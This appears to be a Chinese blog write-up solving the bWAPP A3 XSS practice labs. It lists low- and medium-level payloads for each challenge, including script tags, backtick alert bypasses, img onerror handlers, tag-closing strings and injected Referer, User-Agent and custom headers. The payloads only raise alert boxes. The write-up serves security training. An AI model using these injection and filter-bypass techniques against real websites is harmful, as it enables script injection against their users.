bWAPP A3 XSS注入解题记录

GET

将payload输入到First name中 ,Last name中随便输入点什么
payload:<script>alert('ok')</script>
在这里插入图片描述

POST

low payload:<script>alert('ok')</script>
medium payload:<script>alert`ok`</script>
在这里插入图片描述

JSON

low payload:"}]}';alert('ok');</script>
medium模式不会,符号被转换成了HTML实体
在这里插入图片描述

AJAX/JSON

low and medium payload:
<img src=1 onerror=alert('ok')>
在这里插入图片描述

AJAX/XML

low payload:&#60;img src=1 onerror=alert('ok')&#62;
medium payload:&#60;img src=1 onerror=alert`ok`&#62;
在这里插入图片描述

Back Button

开发者模式查看按钮
在这里插入图片描述发现可以将input标签进行闭合来实现注入,用burpsuite进行抓包,修改referer
在这里插入图片描述
low payload:'"><script>alert('ok')</script>
medium payload:'"><script>alert`ok`</script>

在这里插入图片描述

Custom Header

百度翻译了一下页面的提示,意思是 “一些web客户端使用自定义的HTTP请求头。。。我们的bWAPP头的内容:”
所以我们抓包自己写一个请求头
在这里插入图片描述low payload:bWAPP: <script>alert('ok')</script>
medium对单引号进行了过滤,所以换成以下payload
medium payload:bWAPP: <script>alert`ok`</script>
在这里插入图片描述

Eval

low 修改URL中的Data()为alert('ok')
在这里插入图片描述
medium 修改URL中的Data()如下图
在这里插入图片描述

HREF

随便输入个123后,查看源码,发现我们输入的132在p标签内,所以尝试闭合p标签
low payload:</p><script>alert('ok')</script>
在这里插入图片描述
medium 符号被转换成了HTML实体,所以不会

Login Form

这题貌似没有XSS 注入点(我没找到)但是可以用SQL注入,所以就不写了

phpMyAdmin BBCode Tag XSS

没思路。。。。。

PHP_SELF

First name输入payload Last name随便输入点什么
low payload:<script>alert('ok')</script>
medium payload:<script>alert`ok`</script>
在这里插入图片描述

Referer

看页面上的提示,发现referer的内容会显示在页面上,所以我们抓包修改referer 修改结果如图所示
在这里插入图片描述low payload:<script>alert('ok')</script>
medium payload:<script>alert`ok`</script>

在这里插入图片描述

User-Agent(反射型)

看页面上的提示,发现User-Agent的内容会显示在页面上,所以我们抓包修改User-Agent 修改结果如图所示
在这里插入图片描述
low payload:<script>alert('ok')</script>
medium payload:<script>alert`ok`</script>
在这里插入图片描述

Blog

随便输入个一二三,查看网页源码发现我们输入的内容在td标签内,所以我们尝试闭合td标签
low payload:<script>alert('ok')<script>
medium payload:<script>alert`ok`</script>
在这里插入图片描述

Change Secret

开发者模式下发现有一个type为hidden的input
在这里插入图片描述
将hidden修改为text,在新出现的文本框中输入payload
low payload:"><script>alert`ok`</script><"
在这里插入图片描述
medium不会

Cookies SQLiteManager XSS

貌似不止用到了XSS注入,好像还有点别的东西,其实我不会

Stored (User-Agent)

抓包修改User-Agent
在这里插入图片描述low payload:<script>alert('ok')</script>
medium payload:<script>alert`ok`</script>
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值